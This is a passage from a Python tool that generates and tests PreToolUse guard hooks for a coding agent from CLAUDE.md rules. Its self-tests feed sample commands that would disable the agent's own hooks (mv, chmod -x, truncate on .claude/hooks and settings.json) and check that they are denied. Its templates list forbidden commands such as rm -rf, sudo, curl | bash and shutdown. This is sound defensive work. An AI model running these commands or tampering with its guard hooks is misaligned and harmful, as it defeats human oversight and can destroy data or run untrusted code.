  3845. 'tool_input': {'command': 'mv .claude/hooks/guard.sh /tmp/'}
  3846. }))
  3847. check("armor bash-guard: blocks mv on hooks/", '"deny"' in out, True)
  3848. # Bash guard: blocks chmod targeting hooks
  3849. out = run_hook('armor_bash_guard.sh', json.dumps({
  3850. 'tool_name': 'Bash',
  3851. 'tool_input': {'command': 'chmod -x .claude/hooks/guard.sh'}
  3852. }))
  3853. check("armor bash-guard: blocks chmod on hooks/", '"deny"' in out, True)
  3854. # Bash guard: blocks truncate targeting settings.json
  3855. out = run_hook('armor_bash_guard.sh', json.dumps({
  3856. 'tool_name': 'Bash',
  3857. 'tool_input': {'command': 'truncate -s 0 .claude/settings.json'}
  3858. }))
  3859. check("armor bash-guard: blocks truncate on settings.json", '"deny"' in out, True)
  3860. # Bash guard: allows normal bash commands
  3861. out = run_hook('armor_bash_guard.sh', json.dumps({
  3862. 'tool_name': 'Bash',
  3863. 'tool_input': {'command': 'ls -la'}
  3864. }))
  3865. check("armor bash-guard: allows normal commands", out, '')
  3866. # Bash guard: allows bash commands mentioning hooks/ in non-destructive way
  3867. out = run_hook('armor_bash_guard.sh', json.dumps({
  3868. 'tool_name': 'Bash',
  3869. 'tool_input': {'command': 'ls .claude/hooks/'}
  3870. }))
  3871. check("armor bash-guard: allows ls on hooks/", out, '')
  3872. # Bash guard: allows non-Bash tools
  3873. out = run_hook('armor_bash_guard.sh', json.dumps({
  3874. 'tool_name': 'Write',
  3875. 'tool_input': {'command': 'rm .claude/hooks/x.sh'}
  3876. }))
  3877. check("armor bash-guard: ignores non-Bash tools", out, '')
  3878. # --- Verify (hook health-check) tests ---
  3879. # Create test hooks in temp dir
  3880. verify_dir = os.path.join(td, 'verify-hooks')
  3881. os.makedirs(verify_dir)
  3882. verify_settings = os.path.join(td, 'verify-settings.json')
  3883. # Bad hook: uses .input.command (wrong field name)
  3884. bad_hook = os.path.join(verify_dir, 'bad-hook.sh')
  3885. with open(bad_hook, 'w') as f:
  3886. f.write('#!/bin/bash\nINPUT=$(cat)\n')
  3887. f.write('COMMAND=$(echo "$INPUT" | jq -r \'.input.command // empty\')\n')
  3888. f.write('if [ -z "$COMMAND" ]; then\n exit 0\nfi\n')
  3889. os.chmod(bad_hook, 0o755)
  3890. # Good hook: uses .tool_input.command (correct)
  3891. good_hook = os.path.join(verify_dir, 'good-hook.sh')
  3892. with open(good_hook, 'w') as f:
  3893. f.write('#!/bin/bash\nINPUT=$(cat)\n')
  3894. f.write('COMMAND=$(echo "$INPUT" | jq -r \'.tool_input.command // empty\')\n')
  3895. f.write('if [ -z "$COMMAND" ]; then\n exit 0\nfi\n')
  3896. os.chmod(good_hook, 0o755)
  3897. # Non-executable hook
  3898. noexec_hook = os.path.join(verify_dir, 'noexec-hook.sh')
  3899. with open(noexec_hook, 'w') as f:
  3900. f.write('#!/bin/bash\necho "not executable"\n')
  3901. os.chmod(noexec_hook, 0o644)
  3902. # Python hook with wrong field (dict-style)
  3903. py_bad_hook = os.path.join(verify_dir, 'py-bad-hook.py')
  3904. with open(py_bad_hook, 'w') as f:
  3905. f.write('#!/usr/bin/env python3\n')
  3906. f.write('import json, sys\n')
  3907. f.write('data = json.loads(sys.stdin.read())\n')
  3908. f.write('cmd = data.get("input", {}).get("command", "")\n')
  3909. os.chmod(py_bad_hook, 0o755)
  3910. # Python hook with correct field
  3911. py_good_hook = os.path.join(verify_dir, 'py-good-hook.py')
  3912. with open(py_good_hook, 'w') as f:
  3913. f.write('#!/usr/bin/env python3\n')
  3914. f.write('import json, sys\n')
  3915. f.write('data = json.loads(sys.stdin.read())\n')
  3916. f.write('cmd = data.get("tool_input", {}).get("command", "")\n')
  3917. os.chmod(py_good_hook, 0o755)
  3918. # No-shebang hook
  3919. noshebang = os.path.join(verify_dir, 'noshebang.sh')
  3920. with open(noshebang, 'w') as f:
  3921. f.write('INPUT=$(cat)\necho "$INPUT"\n')
  3922. os.chmod(noshebang, 0o755)
  3923. # Settings with registered + missing hooks
  3924. with open(verify_settings, 'w') as f:
  3925. json.dump({
  3926. 'hooks': {
  3927. 'PreToolUse': [{
  3928. 'hooks': [
  3929. {'command': bad_hook},
  3930. {'command': good_hook},
  3931. {'command': os.path.join(verify_dir, 'ghost-hook.sh')},
  3932. ]
  3933. }]
  3934. }
  3935. }, f)
  3936. result = verify_hooks(verify_dir, verify_settings)
  3937. # Summary checks
  3938. check("verify: found all hooks", result['summary']['total'], 6)
  3939. check("verify: has errors", result['summary']['errors'] > 0, True)
  3940. check("verify: has warnings", result['summary']['warnings'] > 0, True)
  3941. # Bad hook: should have field_name error + fail_open error
  3942. bad = [h for h in result['hooks'] if h['name'] == 'bad-hook.sh'][0]
  3943. bad_checks = [i['check'] for i in bad['issues']]
  3944. check("verify: bad-hook has field_name error", 'field_name' in bad_checks, True)
  3945. check("verify: bad-hook has fail_open error", 'fail_open' in bad_checks, True)
  3946. bad_severities = [i['severity'] for i in bad['issues'] if i['check'] == 'field_name']
  3947. check("verify: field_name is error severity", bad_severities[0] if bad_severities else '', 'error')
  3948. # Good hook: should have no field_name error
  3949. good = [h for h in result['hooks'] if h['name'] == 'good-hook.sh'][0]
  3950. good_checks = [i['check'] for i in good['issues']]
  3951. check("verify: good-hook has no field_name error", 'field_name' in good_checks, False)
  3952. good_info_checks = [i['check'] for i in good['info']]
  3953. check("verify: good-hook has field_name info", 'field_name' in good_info_checks, True)
  3954. # Non-executable hook: should have executable error
  3955. noexec = [h for h in result['hooks'] if h['name'] == 'noexec-hook.sh'][0]
  3956. noexec_checks = [i['check'] for i in noexec['issues']]
  3957. check("verify: noexec-hook has executable error", 'executable' in noexec_checks, True)
  3958. # Python bad hook: should detect wrong field
  3959. pybad = [h for h in result['hooks'] if h['name'] == 'py-bad-hook.py'][0]
  3960. pybad_checks = [i['check'] for i in pybad['issues']]
  3961. check("verify: py-bad-hook has field_name error", 'field_name' in pybad_checks, True)
  3962. # Python good hook: should be clean
  3963. pygood = [h for h in result['hooks'] if h['name'] == 'py-good-hook.py'][0]
  3964. pygood_checks = [i['check'] for i in pygood['issues']]
  3965. check("verify: py-good-hook has no field_name error", 'field_name' in pygood_checks, False)
  3966. # No-shebang hook: should have shebang warning
  3967. nosheb = [h for h in result['hooks'] if h['name'] == 'noshebang.sh'][0]
  3968. nosheb_checks = [i['check'] for i in nosheb['issues']]
  3969. check("verify: noshebang has shebang warning", 'shebang' in nosheb_checks, True)
  3970. # Unregistered hooks: noexec and noshebang should have registration warning
  3971. noexec_reg = [i for i in noexec['issues'] if i['check'] == 'registration']
  3972. check("verify: noexec-hook has registration warning", len(noexec_reg) > 0, True)
  3973. # Settings: missing hook reference
  3974. settings_errs = [s for s in result['settings_issues'] if 'ghost-hook' in s.get('message', '')]
  3975. check("verify: detects missing hook reference in settings", len(settings_errs) > 0, True)
  3976. # Format report
  3977. report = format_verify_report(result)
  3978. check("verify: report contains FAIL", 'FAIL' in report, True)
  3979. check("verify: report contains .tool_input", 'tool_input' in report, True)
  3980. check("verify: report contains summary line", 'Summary:' in report, True)
  3981. # JSON output
  3982. json_out = json.dumps(result, indent=2, default=str)
  3983. parsed = json.loads(json_out)
  3984. check("verify: JSON roundtrips", parsed['summary']['total'], 6)
  3985. # Plugin mode installs a wrapper plus a helper copy. Verify should check the
  3986. # registered wrapper, not treat the helper source file as an unregistered
  3987. # executable hook with fixture strings that look like wrong JSON fields.
  3988. plugin_project = os.path.join(td, 'plugin-project')
  3989. os.makedirs(plugin_project)
  3990. plugin_claude = os.path.join(plugin_project, 'CLAUDE.md')
  3991. with open(plugin_claude, 'w') as f:
  3992. f.write('## Read-only audit mode @enforced\n')
  3993. f.write('- Never modify any files\n')
  3994. f.write('- Never run git push\n')
  3995. install_plugin(
  3996. plugin_claude,
  3997. os.path.join(plugin_project, '.claude', 'hooks'),
  3998. os.path.join(plugin_project, '.claude', 'settings.json'),
  3999. )
  4000. plugin_result = verify_hooks(
  4001. os.path.join(plugin_project, '.claude', 'hooks'),
  4002. os.path.join(plugin_project, '.claude', 'settings.json'),
  4003. )
  4004. check("verify: plugin mode scans wrapper only", plugin_result['summary']['total'], 1)
  4005. check("verify: plugin mode has no errors", plugin_result['summary']['errors'], 0)
  4006. wrapper = os.path.join(plugin_project, '.claude', 'hooks', 'enforce-pretooluse.sh')
  4007. blocked_payload = json.dumps({
  4008. 'tool_name': 'Write',
  4009. 'tool_input': {'file_path': 'notes.md', 'content': 'x'},
  4010. })
  4011. proc = subprocess.run(
  4012. [wrapper],
  4013. input=blocked_payload,
  4014. text=True,
  4015. capture_output=True,
  4016. cwd=plugin_project,
  4017. )
  4018. plugin_decision = json.loads(proc.stdout).get('decision') if proc.returncode == 0 else ''
  4019. check("verify: plugin wrapper still blocks writes", plugin_decision, 'block')
  4020. # --- Verify: empty hooks dir ---
  4021. empty_dir = os.path.join(td, 'empty-hooks')
  4022. os.makedirs(empty_dir)
  4023. empty_result = verify_hooks(empty_dir, os.path.join(td, 'nonexistent-settings.json'))
  4024. check("verify: empty dir has 0 hooks", empty_result['summary']['total'], 0)
  4025. # --- Verify: nonexistent dir ---
  4026. missing_result = verify_hooks(os.path.join(td, 'no-such-dir'), verify_settings)
  4027. check("verify: missing dir returns info", len(missing_result['settings_issues']) > 0, True)
  4028. # --- Smoke test ---
  4029. section("smoke-test")
  4030. # Create a temp project with hooks
  4031. smoke_dir = os.path.join(td, 'smoke-project')
  4032. smoke_hooks = os.path.join(smoke_dir, '.claude', 'hooks')
  4033. os.makedirs(smoke_hooks)
  4034. # Good hook: reads stdin, outputs valid JSON allow
  4035. good_hook = os.path.join(smoke_hooks, 'good-hook.sh')
  4036. with open(good_hook, 'w') as f:
  4037. f.write('#!/usr/bin/env bash\n')
  4038. f.write('INPUT=$(cat)\n')
  4039. f.write('TOOL=$(echo "$INPUT" | jq -r \'.tool_name\')\n')
  4040. f.write('echo \'{"decision": "allow"}\'\n')
  4041. os.chmod(good_hook, 0o755)
  4042. # Bad hook: reads wrong field, outputs nothing useful
  4043. bad_hook = os.path.join(smoke_hooks, 'bad-hook.sh')
  4044. with open(bad_hook, 'w') as f:
  4045. f.write('#!/usr/bin/env bash\n')
  4046. f.write('INPUT=$(cat)\n')
  4047. f.write('# Bug: using .input instead of .tool_input\n')
  4048. f.write('FILE=$(echo "$INPUT" | jq -r \'.input.file_path\')\n')
  4049. f.write('# No output at all = fail-open\n')
  4050. os.chmod(bad_hook, 0o755)
  4051. # Blocking hook: always blocks Write to .env
  4052. block_hook = os.path.join(smoke_hooks, 'file-guard-hook.sh')
  4053. with open(block_hook, 'w') as f:
  4054. f.write('#!/usr/bin/env bash\n')
  4055. f.write('INPUT=$(cat)\n')
  4056. f.write('TOOL=$(echo "$INPUT" | jq -r \'.tool_name\')\n')
  4057. f.write('FILE=$(echo "$INPUT" | jq -r \'.tool_input.file_path // empty\')\n')
  4058. f.write('if [[ "$TOOL" == "Write" ]] && [[ "$FILE" == *".env"* ]]; then\n')
  4059. f.write(' echo \'{"hookSpecificOutput": {"permissionDecision": "deny", "permissionDecisionReason": "Protected file"}}\'\n')
  4060. f.write('else\n')
  4061. f.write(' echo \'{"decision": "allow"}\'\n')
  4062. f.write('fi\n')
  4063. os.chmod(block_hook, 0o755)
  4064. # Register hooks in settings
  4065. smoke_settings = os.path.join(smoke_dir, '.claude', 'settings.json')
  4066. with open(smoke_settings, 'w') as f:
  4067. json.dump({
  4068. 'hooks': {
  4069. 'PreToolUse': [{
  4070. 'hooks': [
  4071. {'command': good_hook},
  4072. {'command': bad_hook},
  4073. {'command': block_hook},
  4074. ]
  4075. }]
  4076. }
  4077. }, f)
  4078. result = smoke_test_hooks(smoke_hooks, smoke_settings)
  4079. check("smoke: found 3 hooks", result['summary']['total'], 3)
  4080. # Good hook should pass all benign tests
  4081. good_r = [h for h in result['hooks'] if 'good-hook' in h['command']][0]
  4082. check("smoke: good-hook passes", good_r['status'], 'ok')
  4083. good_allows = [t for t in good_r['tests'] if t.get('decision') == 'allow']
  4084. check("smoke: good-hook allows benign payloads", len(good_allows) >= 3, True)
  4085. # Bad hook should fail (no output = fail-open)
  4086. bad_r = [h for h in result['hooks'] if 'bad-hook' in h['command']][0]
  4087. bad_errors = [t for t in bad_r['tests'] if t['status'] == 'error']
  4088. check("smoke: bad-hook has errors", len(bad_errors) > 0, True)
  4089. check("smoke: bad-hook status is fail", bad_r['status'], 'fail')
  4090. # Blocking hook: benign payloads should be allowed
  4091. block_r = [h for h in result['hooks'] if 'file-guard' in h['command']][0]
  4092. block_allows = [t for t in block_r['tests'] if t.get('decision') == 'allow']
  4093. check("smoke: file-guard allows benign payloads", len(block_allows) >= 3, True)
  4094. # Block payload (Write to .env) should be blocked
  4095. block_blocks = [t for t in block_r['tests'] if t.get('decision') == 'deny']
  4096. check("smoke: file-guard blocks .env write", len(block_blocks) >= 1, True)
  4097. check("smoke: file-guard status ok", block_r['status'], 'ok')
  4098. # Format report
  4099. report = format_smoke_test_report(result)
  4100. check("smoke: report contains PASS", 'PASS' in report, True)
  4101. check("smoke: report contains FAIL", 'FAIL' in report, True)
  4102. check("smoke: report contains Summary:", 'Summary:' in report, True)
  4103. # JSON output
  4104. json_out = json.dumps(result, indent=2, default=str)
  4105. parsed = json.loads(json_out)
  4106. check("smoke: JSON roundtrips", parsed['summary']['total'], 3)
  4107. # --- Smoke test: no settings ---
  4108. no_settings_result = smoke_test_hooks(smoke_hooks, os.path.join(td, 'nonexistent.json'))
  4109. check("smoke: no settings returns 0 hooks", no_settings_result['summary']['total'], 0)
  4110. check("smoke: no settings has issue", len(no_settings_result['settings_issues']) > 0, True)
  4111. # --- Smoke test: empty settings ---
  4112. empty_settings = os.path.join(td, 'empty-settings.json')
  4113. with open(empty_settings, 'w') as f:
  4114. json.dump({}, f)
  4115. empty_result = smoke_test_hooks(smoke_hooks, empty_settings)
  4116. check("smoke: empty settings returns 0 hooks", empty_result['summary']['total'], 0)
  4117. # --- Template tests ---
  4118. print("\n --- Templates ---")
  4119. # Templates exist and are non-empty
  4120. for name in ('minimal', 'recommended', 'strict'):
  4121. check(f"template:{name} exists", name in TEMPLATES, True)
  4122. check(f"template:{name} non-empty", len(TEMPLATES[name]) > 0, True)
  4123. # Each template parses with 0 skipped
  4124. for name, content in TEMPLATES.items():
  4125. tf = os.path.join(td, f'template-{name}.md')
  4126. with open(tf, 'w') as f:
  4127. f.write(content)
  4128. enforceable, skipped = scan_file(tf)
  4129. check(f"template:{name} has rules", len(enforceable) > 0, True)
  4130. check(f"template:{name} no skipped", len(skipped), 0)
  4131. # Minimal has fewer rules than recommended, recommended fewer than strict
  4132. tf_min = os.path.join(td, 'template-minimal.md')
  4133. tf_rec = os.path.join(td, 'template-recommended.md')
  4134. tf_str = os.path.join(td, 'template-strict.md')
  4135. min_rules, _ = scan_file(tf_min)
  4136. rec_rules, _ = scan_file(tf_rec)
  4137. str_rules, _ = scan_file(tf_str)
  4138. check("template: minimal < recommended", len(min_rules) < len(rec_rules), True)
  4139. check("template: recommended < strict", len(rec_rules) < len(str_rules), True)
  4140. # Dot-prefixed paths are correctly captured (regression test for .claude/ extraction)
  4141. d_hooks = classify_directive("Don't modify .claude/hooks/ @enforced", 1)
  4142. check("dot-path: .claude/hooks/ captured", d_hooks is not None, True)
  4143. check("dot-path: .claude/hooks/ is file-guard", d_hooks.hook_type, 'file-guard')
  4144. check("dot-path: .claude/hooks/ has dot prefix", any('.claude/hooks' in p for p in d_hooks.patterns), True)
  4145. check("dot-path: .claude/hooks/ no bare duplicate", not any(p == 'claude/hooks' or p == 'claude/hooks/' for p in d_hooks.patterns), True)
  4146. d_settings = classify_directive("Don't modify .claude/settings.json @enforced", 1)
  4147. check("dot-path: .claude/settings.json captured", d_settings is not None, True)
  4148. check("dot-path: .claude/settings.json is file-guard", d_settings.hook_type, 'file-guard')
  4149. check("dot-path: .claude/settings.json has dot prefix", any('.claude/settings' in p for p in d_settings.patterns), True)
  4150. # Generic dot-prefixed path (not in special-case list)
  4151. d_vscode = classify_directive("Don't modify .vscode/settings.json @enforced", 1)
  4152. check("dot-path: .vscode/settings.json captured", d_vscode is not None, True)
  4153. check("dot-path: .vscode/settings.json is file-guard", d_vscode.hook_type, 'file-guard')
  4154. check("dot-path: .vscode/ has dot prefix", any('.vscode/' in p for p in d_vscode.patterns), True)
  4155. # --- System/device command detection ---
  4156. print("\n --- System commands ---")
  4157. d = classify_directive("Never run shutdown", 1)
  4158. check("sys:shutdown", d is not None and d.hook_type == 'bash-guard', True)
  4159. check("sys:shutdown pattern", d is not None and 'shutdown' in d.patterns, True)
  4160. d = classify_directive("Never run reboot", 1)
  4161. check("sys:reboot", d is not None and d.hook_type == 'bash-guard', True)
  4162. d = classify_directive("Never run systemctl stop", 1)
  4163. check("sys:systemctl stop", d is not None and d.hook_type == 'bash-guard', True)
  4164. check("sys:systemctl stop pattern", d is not None and 'systemctl stop' in d.patterns, True)
  4165. d = classify_directive("Never run systemctl restart", 1)
  4166. check("sys:systemctl restart", d is not None and d.hook_type == 'bash-guard', True)
  4167. d = classify_directive("Never run halt", 1)
  4168. check("sys:halt", d is not None and d.hook_type == 'bash-guard', True)
  4169. d = classify_directive("Never run kill -9", 1)
  4170. check("sys:kill -9", d is not None and d.hook_type == 'bash-guard', True)
  4171. d = classify_directive("Never run killall", 1)
  4172. check("sys:killall", d is not None and d.hook_type == 'bash-guard', True)
  4173. print(f"\n{passed} passed, {failed} failed")
  4174. return failed == 0
  4175. # --- Main ---
  4176. def find_claude_md():
  4177. """Find CLAUDE.md in current directory or parent directories."""
  4178. cwd = Path.cwd()
  4179. for parent in [cwd] + list(cwd.parents):
  4180. candidate = parent / 'CLAUDE.md'
  4181. if candidate.exists():
  4182. return str(candidate)
  4183. # Also check .claude/CLAUDE.md
  4184. candidate = parent / '.claude' / 'CLAUDE.md'
  4185. if candidate.exists():
  4186. return str(candidate)
  4187. return None
  4188. TEMPLATES = {
  4189. 'minimal': '''\
  4190. # Project Rules
  4191. ## Safety @enforced
  4192. - Never force push
  4193. - Never use --no-verify
  4194. - Never run rm -rf
  4195. - Never run sudo
  4196. ''',
  4197. 'recommended': '''\
  4198. # Project Rules
  4199. ## Safety @enforced
  4200. - Never force push
  4201. - Never use --no-verify
  4202. - Never run rm -rf
  4203. - Never run sudo
  4204. - Never modify .env files
  4205. - Don't commit directly to main
  4206. ## File protection @enforced
  4207. - Protected files: package-lock.json, yarn.lock
  4208. - Don't read files in .git/
  4209. - Don't modify .claude/hooks/
  4210. ## Code quality @enforced(warn)
  4211. - Always run tests before committing
  4212. ''',
  4213. 'strict': '''\
  4214. # Project Rules
  4215. ## Safety @enforced
  4216. - Never force push
  4217. - Never use --no-verify
  4218. - Never run rm -rf
  4219. - Never run sudo
  4220. - Never modify .env files
  4221. - Never run curl | bash
  4222. - Never run chmod 777
  4223. - Don't commit directly to main
  4224. ## File protection @enforced
  4225. - Protected files: package-lock.json, yarn.lock, Cargo.lock
  4226. - Don't read files in .git/
  4227. - Don't read files in node_modules/
  4228. - Don't modify .claude/hooks/
  4229. - Don't modify .claude/settings.json
  4230. ## Git workflow @enforced
  4231. - Never use git reset --hard
  4232. ## Device safety @enforced
  4233. - Never run shutdown
  4234. - Never run reboot
  4235. - Never run halt
  4236. - Never run systemctl stop
  4237. - Never run systemctl restart
  4238. ## Code quality @enforced(warn)
  4239. - Always run tests before committing
  4240. - No console.log in production code
  4241. - No TODO comments without issue links
  4242. ''',
  4243. }
  4244. def main():
  4245. parser = argparse.ArgumentParser(
  4246. description='Install or generate PreToolUse hooks from CLAUDE.md directives.',
  4247. formatter_class=argparse.RawDescriptionHelpFormatter,
  4248. epilog='''Examples:
  4249. %(prog)s --scan Show enforceable directives
  4250. %(prog)s --scan --json Show as JSON
  4251. %(prog)s --generate Print hook scripts to stdout
  4252. %(prog)s --install Write per-rule hooks to .claude/hooks/
  4253. %(prog)s --install-plugin Install as one dynamic hook (recommended)
  4254. %(prog)s --audit Audit rules vs installed hooks
  4255. %(prog)s --audit --strict CI gate: exit 1 if any rules unenforced
  4256. %(prog)s --armor Protect hooks from being deleted/modified
  4257. %(prog)s --verify Health-check installed hooks for correctness
  4258. %(prog)s --verify --strict CI gate: exit 1 if any hooks have errors
  4259. %(prog)s --smoke-test Execute hooks with test payloads, verify responses
  4260. %(prog)s --smoke-test --strict CI gate: exit 1 if any hooks fail
  4261. %(prog)s --template Output recommended CLAUDE.md to stdout
  4262. %(prog)s --template strict Output strict CLAUDE.md to stdout
  4263. %(prog)s --template minimal CLAUDE.md Write minimal template to file
  4264. %(prog)s --evaluate PreToolUse mode (reads stdin, outputs decision)
  4265. %(prog)s --test Run self-tests
  4266. ''',
  4267. )
  4268. parser.add_argument('file', nargs='?', help='Path to CLAUDE.md (auto-detected if omitted)')
  4269. parser.add_argument('--scan', action='store_true', help='Scan and show enforceable directives')
  4270. parser.add_argument('--generate', action='store_true', help='Generate hook scripts to stdout')
  4271. parser.add_argument('--install', action='store_true', help='Generate and install hooks')
  4272. parser.add_argument('--json', action='store_true', help='Output as JSON (with --scan)')
  4273. parser.add_argument('--evaluate', action='store_true',
  4274. help='PreToolUse mode: read tool call from stdin, check rules, output decision')
  4275. parser.add_argument('--install-plugin', action='store_true',
  4276. help='Install as a single dynamic hook (recommended)')
  4277. parser.add_argument('--hooks-dir', default='.claude/hooks', help='Directory for hook scripts')
  4278. parser.add_argument('--settings', default='.claude/settings.json', help='Path to settings.json')
  4279. parser.add_argument('--audit', action='store_true',
  4280. help='Audit: compare CLAUDE.md rules vs installed hooks')
  4281. parser.add_argument('--strict', action='store_true',
  4282. help='With --audit: exit 1 if any @enforced rules lack hooks (CI gate)')
  4283. parser.add_argument('--armor', action='store_true',
  4284. help='Install self-protection: hooks that guard .claude/hooks/ from modification')
  4285. parser.add_argument('--verify', action='store_true',
  4286. help='Health-check installed hooks for correctness (wrong field names, permissions, fail-open)')
  4287. parser.add_argument('--smoke-test', action='store_true', dest='smoke_test',
  4288. help='Run each hook with test payloads and verify it responds correctly')
  4289. parser.add_argument('--template', nargs='?', const='recommended',
  4290. help='Output a starter CLAUDE.md with @enforced rules (recommended|strict|minimal)')
  4291. parser.add_argument('--test', action='store_true', help='Run self-tests')
  4292. args = parser.parse_args()
  4293. if args.test:
  4294. success = run_tests()
  4295. sys.exit(0 if success else 1)
  4296. if args.template is not None:
  4297. name = args.template
  4298. if name not in TEMPLATES:
  4299. print(f"Unknown template: {name}", file=sys.stderr)
  4300. print(f"Available: {', '.join(sorted(TEMPLATES))}", file=sys.stderr)
  4301. sys.exit(1)
  4302. content = TEMPLATES[name]
  4303. if args.file:
  4304. # Write to file
  4305. target = args.file
  4306. if os.path.exists(target):
  4307. print(f"Error: {target} already exists. Remove it first or choose a different path.", file=sys.stderr)
  4308. sys.exit(1)
  4309. Path(target).write_text(content)
  4310. print(f"Created {target} ({name} template, {len(content.splitlines())} lines)")
  4311. print(f"\nNext steps:")
  4312. print(f" 1. Edit {target} to match your project")
  4313. print(f" 2. Run: enforce-hooks.py {target} --scan")
  4314. print(f" 3. Run: enforce-hooks.py {target} --install-plugin")
  4315. else:
  4316. # Print to stdout
  4317. print(content, end='')
  4318. return
  4319. if not any([args.scan, args.generate, args.install, args.evaluate, args.install_plugin, args.audit, args.armor, args.verify, args.smoke_test]):
  4320. args.scan = True # Default to scan
  4321. if args.verify:
  4322. hooks_dir = args.hooks_dir
  4323. settings = args.settings
  4324. if args.file and os.path.exists(args.file):
  4325. project_root = str(Path(args.file).resolve().parent)
  4326. if hooks_dir == '.claude/hooks':
  4327. hooks_dir = os.path.join(project_root, '.claude', 'hooks')
  4328. if settings == '.claude/settings.json':
  4329. settings = os.path.join(project_root, '.claude', 'settings.json')
  4330. result = verify_hooks(hooks_dir, settings)
  4331. if args.json:
  4332. print(json.dumps(result, indent=2, default=str))
  4333. else:
  4334. print(format_verify_report(result))
  4335. if args.strict:
  4336. if result['summary']['errors'] > 0:
  4337. print(f"\n--strict: FAIL ({result['summary']['errors']} error(s))")
  4338. sys.exit(1)
  4339. else:
  4340. print("\n--strict: PASS (all hooks healthy)")
  4341. return
  4342. if args.smoke_test:
  4343. hooks_dir = args.hooks_dir
  4344. settings = args.settings
  4345. if args.file and os.path.exists(args.file):
  4346. project_root = str(Path(args.file).resolve().parent)
  4347. if hooks_dir == '.claude/hooks':
  4348. hooks_dir = os.path.join(project_root, '.claude', 'hooks')
  4349. if settings == '.claude/settings.json':
  4350. settings = os.path.join(project_root, '.claude', 'settings.json')
  4351. result = smoke_test_hooks(hooks_dir, settings)
  4352. if args.json:
  4353. print(json.dumps(result, indent=2, default=str))
  4354. else:
  4355. print(format_smoke_test_report(result))
  4356. if args.strict:
  4357. if result['summary']['failed'] > 0:
  4358. print(f"\n--strict: FAIL ({result['summary']['failed']} hook(s) failed)")
  4359. sys.exit(1)
  4360. else:
  4361. print("\n--strict: PASS (all hooks responding correctly)")
  4362. return
  4363. if args.armor:
  4364. hooks_dir = args.hooks_dir
  4365. settings = args.settings
  4366. # If a CLAUDE.md path was given, derive project root from it
  4367. if args.file and os.path.exists(args.file):
  4368. project_root = str(Path(args.file).resolve().parent)
  4369. if hooks_dir == '.claude/hooks':
  4370. hooks_dir = os.path.join(project_root, '.claude', 'hooks')
  4371. if settings == '.claude/settings.json':
  4372. settings = os.path.join(project_root, '.claude', 'settings.json')
  4373. written = install_armor(hooks_dir, settings)
  4374. print(f"Armor installed ({len(written)} hooks):")
  4375. for w in written:
  4376. print(f" {w}")
  4377. print(f"\nUpdated: {settings}")
  4378. print("\nHook self-protection is active:")
  4379. print(" - Write/Edit/MultiEdit to .claude/hooks/ or settings.json: blocked")
  4380. print(" - Bash rm/mv/chmod/truncate targeting hooks or settings: blocked")
  4381. print(" - The armor hooks protect each other (self-referential)")
  4382. print("\nContext: https://github.com/anthropics/claude-code/issues/32990")
  4383. return
  4384. path = args.file or find_claude_md()
  4385. if not path or not os.path.exists(path):
  4386. if args.evaluate:
  4387. # In hook mode, missing CLAUDE.md must not block tool calls
  4388. print(json.dumps({"decision": "allow"}))
  4389. sys.exit(0)
  4390. if not path:
  4391. print("Error: No CLAUDE.md found. Specify a path or run from a project directory.", file=sys.stderr)
  4392. else:
  4393. print(f"Error: File not found: {path}", file=sys.stderr)
  4394. sys.exit(1)
  4395. enforceable, skipped = scan_file(path)
  4396. if args.scan:
  4397. if args.json:
  4398. result = {
  4399. 'enforceable': [d.to_dict() for d in enforceable],
  4400. 'skipped': [{'line': ln, 'text': t, 'reason': r} for ln, t, r in skipped],
  4401. }
  4402. if not enforceable:
  4403. suggestions = scan_suggestions(path)
  4404. result['suggestions'] = [d.to_dict() for d in suggestions]
  4405. print(json.dumps(result, indent=2))
  4406. else:
  4407. print(f"Scanning: {path}\n")
  4408. print(format_scan_table(enforceable, skipped))
  4409. if not enforceable:
  4410. suggestions = scan_suggestions(path)
  4411. if suggestions:
  4412. print(f"\nFound {len(suggestions)} rule(s) that could be enforced:\n")
  4413. print(f"{'#':>3} {'Type':<20} {'What it would block':<40} {'Source line'}")
  4414. print(f"{'---':>3} {'----':<20} {'---':<40} {'---'}")
  4415. for i, d in enumerate(suggestions, 1):
  4416. print(f"{i:>3} {d.hook_type:<20} {d.description:<40} L{d.line_num}")
  4417. print("\nTo activate enforcement, add @enforced to each rule:")
  4418. print(" - Never modify .env files @enforced")
  4419. print(" - Do not use `git push --force` @enforced")
  4420. print(" - Avoid using `any` type @enforced(warn) # warns but allows")
  4421. print("\nOr tag an entire section:")
  4422. print(" ## Safety @enforced")
  4423. print(" - Never modify .env files")
  4424. print(" - Never run `rm -rf` commands")
  4425. else:
  4426. print("\nNo classifiable rules found in your CLAUDE.md.")
  4427. print("enforce-hooks detects rules like:")
  4428. print(" - Never modify .env files @enforced (file protection)")
  4429. print(" - Do not run `rm -rf` @enforced (command blocking)")
  4430. print(" - Never commit to main @enforced (branch protection)")
  4431. print(" - Always run tests before committing @enforced (workflow)")
  4432. return
  4433. if args.audit:
  4434. # Derive hooks/settings paths from CLAUDE.md location when defaults
  4435. hooks_dir = args.hooks_dir
  4436. settings = args.settings
  4437. if hooks_dir == '.claude/hooks' and path != 'CLAUDE.md':
  4438. project_root = str(Path(path).resolve().parent)
  4439. hooks_dir = os.path.join(project_root, '.claude', 'hooks')
  4440. settings = os.path.join(project_root, '.claude', 'settings.json')
  4441. result = audit_hooks(path, hooks_dir, settings)
  4442. if args.json:
  4443. json_result = {
  4444. 'enforced': [d.to_dict() for d in result['enforced']],
  4445. 'unenforced': [d.to_dict() for d in result['unenforced']],
  4446. 'suggestions': [d.to_dict() for d in result['suggestions']],
  4447. 'orphan_hooks': result['orphan_hooks'],
  4448. 'broken_refs': result['broken_refs'],
  4449. 'plugin_mode': result['plugin_mode'],
  4450. 'plugin_registered': result['plugin_registered'],
  4451. 'settings_hooks': result['settings_hooks'],
  4452. 'coverage': len(result['enforced']) / max(1, len(result['enforced']) + len(result['unenforced']) + len(result['suggestions'])),
  4453. }
  4454. print(json.dumps(json_result, indent=2))
  4455. else:
  4456. print(f"Auditing: {path}\n")
  4457. print(format_audit_report(result))
  4458. if args.strict:
  4459. failures = []
  4460. if result['unenforced']:
  4461. failures.append(f"{len(result['unenforced'])} @enforced rule(s) without hooks")
  4462. if result['broken_refs']:
  4463. failures.append(f"{len(result['broken_refs'])} broken hook reference(s)")
  4464. if failures:
  4465. print(f"\n--strict: FAIL ({', '.join(failures)})")
  4466. sys.exit(1)
  4467. else:
  4468. print("\n--strict: PASS (all @enforced rules have active hooks)")
  4469. return
  4470. if args.generate:
  4471. seen_names = set()
  4472. for i, d in enumerate(enforceable):
  4473. script = generate_hook(d)
  4474. if script:
